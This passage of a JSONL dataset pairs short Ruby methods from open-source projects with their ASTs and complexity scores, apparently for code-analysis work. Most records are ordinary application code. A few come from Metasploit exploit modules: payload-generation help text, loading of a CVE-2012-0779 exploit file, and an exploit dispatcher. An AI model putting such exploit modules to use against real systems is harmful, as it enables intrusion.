ype\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"chunk\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pkt_size\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"length\"]},\"+\",{\"type\":\"int\",\"children\":[2]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"v\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pkt\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt_size\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"pkt\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkts\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"pkt\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"pkts\"]}]}]}]}","id":"e2c0dbaf-7ca5-44b3-a9f0-6f4a6fea039e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/inventory/persister/builder.rb","start_line":40,"raw_source":"def initialize(name, persister, options = self.class.default_options)\n        @name = name\n        @persister = persister\n\n        @properties = {}\n        @inventory_object_attributes = []\n        @default_values = {}\n        @dependency_attributes = {}\n\n        @options = options\n        @options[:auto_inventory_attributes] = true if @options[:auto_inventory_attributes].nil?\n        @options[:without_model_class] = false if @options[:without_model_class].nil?\n\n        @adv_settings = options[:adv_settings] # Configuration/Advanced settings in GUI\n        @shared_properties = options[:shared_properties] # From persister\n        @parent = options[:parent]\n      end","complexity_score":24.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"persister\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"default_options\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@persister\",{\"type\":\"lvar\",\"children\":[\"persister\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@properties\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@inventory_object_attributes\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@default_values\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@dependency_attributes\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"auto_inventory_attributes\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"auto_inventory_attributes\"]},{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"without_model_class\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"without_model_class\"]},{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@adv_settings\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"adv_settings\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@shared_properties\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"shared_properties\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@parent\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parent\"]}]}]}]}]}","id":"45883b94-5f11-47a1-85ca-a19dacd25c6f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/x509/certificate.rb","start_line":26,"raw_source":"def self.default_cert_dir\n        strong_memoize(:default_cert_dir) do\n          ENV.fetch('SSL_CERT_DIR', OpenSSL::X509::DEFAULT_CERT_DIR)\n        end\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"default_cert_dir\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"default_cert_dir\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"SSL_CERT_DIR\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"X509\"]},\"DEFAULT_CERT_DIR\"]}]}]}]}","id":"27d3363e-c5c4-4a10-9449-48ad3bf834c0"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/tracks/build_path.rb","start_line":8,"raw_source":"def call\n    factory.line_string(\n      coordinates.map { |point| factory.point(point.lon.to_f.round(5), point.lat.to_f.round(5)) }\n    )\n  end","complexity_score":19.85,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"factory\"]},\"line_string\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"coordinates\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"point\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"factory\"]},\"point\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"point\"]},\"lon\"]},\"to_f\"]},\"round\",{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"point\"]},\"lat\"]},\"to_f\"]},\"round\",{\"type\":\"int\",\"children\":[5]}]}]}]}]}]}","id":"72969d54-c325-4374-a970-bd9f234a5eb2"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/username_validator.rb","start_line":88,"raw_source":"def username_length_min?\n    return unless errors.empty?\n\n    if username_grapheme_clusters.size < User.username_length.begin\n      self.errors << I18n.t(:\"user.username.short\", count: User.username_length.begin)\n    end\n  end","complexity_score":17.3,"ast_json":"{\"type\":\"def\",\"children\":[\"username_length_min?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"empty?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"username_grapheme_clusters\"]},\"size\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"username_length\"]},\"begin\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"errors\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"user.username.short\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"username_length\"]},\"begin\"]}]}]}]}]},null]}]}]}","id":"29a52780-e4f4-4cdc-a4d7-f4b6a6233911"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/status.rb","start_line":315,"raw_source":"def untrusted_reblogs_count\n    status_stat&.untrusted_reblogs_count unless local?\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"untrusted_reblogs_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"local?\"]},null,{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status_stat\"]},\"untrusted_reblogs_count\"]}]}]}","id":"ea70a5ee-4d17-4fd4-9bca-354dccc0c488"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/integrations/openai/processor_service.rb","start_line":27,"raw_source":"def expand_message\n    make_api_call(build_api_call_body(\"#{AGENT_INSTRUCTION} Please expand the following response. \" \\\n                                      \"#{LANGUAGE_INSTRUCTION}\"))\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expand_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"make_api_call\",{\"type\":\"send\",\"children\":[null,\"build_api_call_body\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AGENT_INSTRUCTION\"]}]},{\"type\":\"str\",\"children\":[\" Please expand the following response. \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LANGUAGE_INSTRUCTION\"]}]}]}]}]}]}]}","id":"2fa692cc-67cc-4dbc-b8de-b5b27003938e"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_integration_ssl_session.rb","start_line":120,"raw_source":"def test__10_tls1_2\n    reused = run_session '{timeout: 10}', :TLS1_2\n    assert reused, 'session was not reused'\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test__10_tls1_2\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reused\",{\"type\":\"send\",\"children\":[null,\"run_session\",{\"type\":\"str\",\"children\":[\"{timeout: 10}\"]},{\"type\":\"sym\",\"children\":[\"TLS1_2\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"lvar\",\"children\":[\"reused\"]},{\"type\":\"str\",\"children\":[\"session was not reused\"]}]}]}]}","id":"021d9a00-47cf-4010-b00d-402145a2d38a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/payload.rb","start_line":135,"raw_source":"def cmd_generate_help\n            print_line 'Usage: generate [options]'\n            print_line\n            print_line 'Generates a payload. Datastore options may be supplied after normal options.'\n            print_line\n            print_line 'Example: generate -f python LHOST=127.0.0.1'\n            print @@generate_opts.usage\n          end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_generate_help\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: generate [options]\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Generates a payload. Datastore options may be supplied after normal options.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Example: generate -f python LHOST=127.0.0.1\"]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@generate_opts\"]},\"usage\"]}]}]}]}","id":"16a06d33-2767-4c90-bacd-d15c710c3589"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/adobe_flash_rtmp.rb","start_line":423,"raw_source":"def create_swf\n    path = ::File.join(Msf::Config.data_directory, \"exploits\", \"CVE-2012-0779.swf\")\n    fd = ::File.open(path, \"rb\")\n    swf = fd.read(fd.stat.size)\n    fd.close\n\n    return swf\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create_swf\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"CVE-2012-0779.swf\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fd\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"swf\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"stat\"]},\"size\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"close\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"swf\"]}]}]}]}","id":"b2af6d34-e543-4aa2-92c0-bdc9c0436069"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/topic_query.rb","start_line":14,"raw_source":"def self.validators\n    @validators ||=\n      begin\n        int = lambda { |x| Integer === x || (String === x && x.match?(/\\A-?[0-9]+\\z/)) }\n        zero_up_to_max_int = lambda { |x| int.call(x) && x.to_i.between?(0, PG_MAX_INT) }\n        zero_up_to_max_page =\n          lambda { |x| int.call(x) && x.to_i.between?(0, SiteSetting.max_topic_query_page_param) }\n        one_up_to_one_hundred = lambda { |x| int.call(x) && x.to_i.between?(1, 100) }\n        array_or_string = lambda { |x| Array === x || String === x }\n        string = lambda { |x| String === x }\n        true_or_false = lambda { |x| x == true || x == false || x == \"true\" || x == \"false\" }\n\n        {\n          page: zero_up_to_max_page,\n          per_page: one_up_to_one_hundred,\n          before: zero_up_to_max_int,\n          bumped_before: zero_up_to_max_int,\n          topic_ids: array_or_string,\n          category: string,\n          order: string,\n          ascending: true_or_false,\n          min_posts: zero_up_to_max_int,\n          max_posts: zero_up_to_max_int,\n          status: string,\n          filter: string,\n          state: string,\n          search: string,\n          q: string,\n          f: string,\n          subset: string,\n          group_name: string,\n          tags: array_or_string,\n          match_all_tags: true_or_false,\n          no_subcategories: true_or_false,\n          no_tags: true_or_false,\n          exclude_tag: string,\n        }\n      end\n  end","complexity_score":63.45,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"validators\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@validators\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"int\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integer\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"x\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A-?[0-9]+\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"zero_up_to_max_int\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"int\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"to_i\"]},\"between?\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"const\",\"children\":[null,\"PG_MAX_INT\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"zero_up_to_max_page\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"int\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"to_i\"]},\"between?\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"max_topic_query_page_param\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"one_up_to_one_hundred\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"int\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"to_i\"]},\"between?\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[100]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"array_or_string\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"x\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"string\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"x\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"true_or_false\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"==\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"==\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"==\",{\"type\":\"str\",\"children\":[\"true\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"==\",{\"type\":\"str\",\"children\":[\"false\"]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"page\"]},{\"type\":\"lvar\",\"children\":[\"zero_up_to_max_page\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"per_page\"]},{\"type\":\"lvar\",\"children\":[\"one_up_to_one_hundred\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"before\"]},{\"type\":\"lvar\",\"children\":[\"zero_up_to_max_int\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bumped_before\"]},{\"type\":\"lvar\",\"children\":[\"zero_up_to_max_int\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_ids\"]},{\"type\":\"lvar\",\"children\":[\"array_or_string\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"lvar\",\"children\":[\"string\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"lvar\",\"children\":[\"string\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ascending\"]},{\"type\":\"lvar\",\"children\":[\"true_or_false\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min_posts\"]},{\"type\":\"lvar\",\"children\":[\"zero_up_to_max_int\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_posts\"]},{\"type\":\"lvar\",\"children\":[\"zero_up_to_max_int\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"string\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"lvar\",\"children\":[\"string\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"lvar\",\"children\":[\"string\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"search\"]},{\"type\":\"lvar\",\"children\":[\"string\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"q\"]},{\"type\":\"lvar\",\"children\":[\"string\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"f\"]},{\"type\":\"lvar\",\"children\":[\"string\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subset\"]},{\"type\":\"lvar\",\"children\":[\"string\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_name\"]},{\"type\":\"lvar\",\"children\":[\"string\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"lvar\",\"children\":[\"array_or_string\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"match_all_tags\"]},{\"type\":\"lvar\",\"children\":[\"true_or_false\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"no_subcategories\"]},{\"type\":\"lvar\",\"children\":[\"true_or_false\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"no_tags\"]},{\"type\":\"lvar\",\"children\":[\"true_or_false\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exclude_tag\"]},{\"type\":\"lvar\",\"children\":[\"string\"]}]}]}]}]}]}","id":"8642d896-4676-4592-8ccb-8584ec57707b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/mov_ss.rb","start_line":188,"raw_source":"def exploit\n    validate_active_host\n    validate_target\n    if datastore['USE_INJECTION']\n      exploit_dll\n    else\n      exploit_exe\n    end\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_active_host\"]},{\"type\":\"send\",\"children\":[null,\"validate_target\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USE_INJECTION\"]}]},{\"type\":\"send\",\"children\":[null,\"exploit_dll\"]},{\"type\":\"send\",\"children\":[null,\"exploit_exe\"]}]}]}]}","id":"a97ca99e-05d5-4a69-9981-5f508161e014"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/deliver/spec/app_screenshot_validator_spec.rb","start_line":26,"raw_source":"def expect_no_error(screenshot)\n      expect(described_class.validate(screenshot, [])).to be(true)\n    end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_no_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"screenshot\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"validate\",{\"type\":\"lvar\",\"children\":[\"screenshot\"]},{\"type\":\"array\",\"children\":[]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"9fa46930-530b-41be-80ba-b5adaae94810"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20200707173524_create_welcome_notifications.rb","start_line":2,"raw_source":"def change\n    create_table :welcome_notifications do |t|\n      t.timestamps\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"welcome_notifications\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]}","id":"8e093ac8-5815-43fd-ae2f-abbe1674fb04"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/json_logger.rb","start_line":15,"raw_source":"def debug(message)\n        build.debug(message)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"debug\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build\"]},\"debug\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}","id":"56e46a38-8e0e-439e-8ae3-878457513693"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/request_forgery_protection_test.rb","start_line":1338,"raw_source":"def test_should_not_allow_when_session_id_in_cookie_does_not_match_session_id\n    initialize_csrf_token(@token, ActionController::TestSession.new)\n\n    @controller.stub :form_authenticity_token, @token do\n      assert_blocked { post :index, params: { custom_authenticity_token: @token } }\n    end\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_not_allow_when_session_id_in_cookie_does_not_match_session_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"initialize_csrf_token\",{\"type\":\"ivar\",\"children\":[\"@token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"TestSession\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"form_authenticity_token\"]},{\"type\":\"ivar\",\"children\":[\"@token\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_blocked\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_authenticity_token\"]},{\"type\":\"ivar\",\"children\":[\"@token\"]}]}]}]}]}]}]}]}]}]}","id":"c835e252-8d17-4cc4-b0b5-e14df14a5497"}
